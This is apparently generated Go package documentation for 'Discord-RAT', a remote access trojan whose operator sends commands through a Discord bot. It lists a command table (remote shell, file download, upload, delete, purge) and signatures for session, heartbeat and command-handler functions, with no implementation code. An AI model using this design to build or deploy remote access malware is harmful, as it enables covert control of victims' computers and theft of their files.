Documentation
¶
Overview ¶
* This file is part of the Discord-RAT project. * Repository: https://github.com/codeuk/discord-rat * * Written by codeuk (github.com/codeuk) * * Discord-RAT is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Discord-RAT is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Discord-RAT. If not, see <https://www.gnu.org/licenses/>.
* This file is part of the Discord-RAT project. * Repository: https://github.com/codeuk/discord-rat * * Written by codeuk (github.com/codeuk) * * Discord-RAT is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Discord-RAT is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Discord-RAT. If not, see <https://www.gnu.org/licenses/>.
Index ¶
- Constants
- Variables
- func Init(newAgent *agent.Agent)
- type Command
- type DiscordSession
- func (discordBot *DiscordSession) CloseSessionGracefully()
- func (discordBot *DiscordSession) CommandHandler(dg *discordgo.Session, message *discordgo.MessageCreate)
- func (discordBot *DiscordSession) SendCommandMenu()
- func (discordBot *DiscordSession) SendHeartBeat()
- func (discordBot *DiscordSession) SendHelpMenu()
Constants ¶
const HEARTBEAT_TIME = time.Duration(5) * time.Minute
How often to send a heartbeat message to the channel (Default: 5 minutes).
Variables ¶
var CommandList = []Command{ { Name: "purge", OnCall: commands.HandlePurge, }, { Name: "cd", OnCall: commands.HandleDirectoryChange, }, { Name: "shell", OnCall: commands.HandleShellConnection, }, { Name: "download", OnCall: commands.HandleFileDownload, }, { Name: "upload", OnCall: commands.HandleFileUpload, }, { Name: "delete", OnCall: commands.HandleFileDelete, }, }
The list of valid commands to be listened for and handled.
Functions ¶
Types ¶
type Command ¶
type Command struct { Name string OnCall func(*commands.BotMessage) }
Command represents the attributes of a Bot command that can be handled appropriately.
type DiscordSession ¶
type DiscordSession struct { Agent *agent.Agent Session *discordgo.Session ChannelID *discordgo.Channel }
DiscordSession represents the attributes used to handle the agent and its respective DiscordGo session and command channel.
func NewDiscordSession ¶
func NewDiscordSession(agent agent.Agent) (*DiscordSession, error)
NewDiscordSession configures and returns a new Discord Bot and Session for the passed client.
func (*DiscordSession) CloseSessionGracefully ¶
func (discordBot *DiscordSession) CloseSessionGracefully()
CloseSessionGracefully exits the agents channel and closes the Discord Session gracefully.
func (*DiscordSession) CommandHandler ¶
func (discordBot *DiscordSession) CommandHandler(dg *discordgo.Session, message *discordgo.MessageCreate)
CommandHandler defines and handles custom commands for the Discord Bot and system.
func (*DiscordSession) SendCommandMenu ¶
func (discordBot *DiscordSession) SendCommandMenu()
SendCommandMenu sends the Menu embed message containing the Bots commands and their descriptions.
func (*DiscordSession) SendHeartBeat ¶
func (discordBot *DiscordSession) SendHeartBeat()
SendHeartBeat sends a heartbeat message to make sure there is no bot timeout.
func (*DiscordSession) SendHelpMenu ¶
func (discordBot *DiscordSession) SendHelpMenu()
SendHelpMenu sends the Help embed message containing useful information about the program.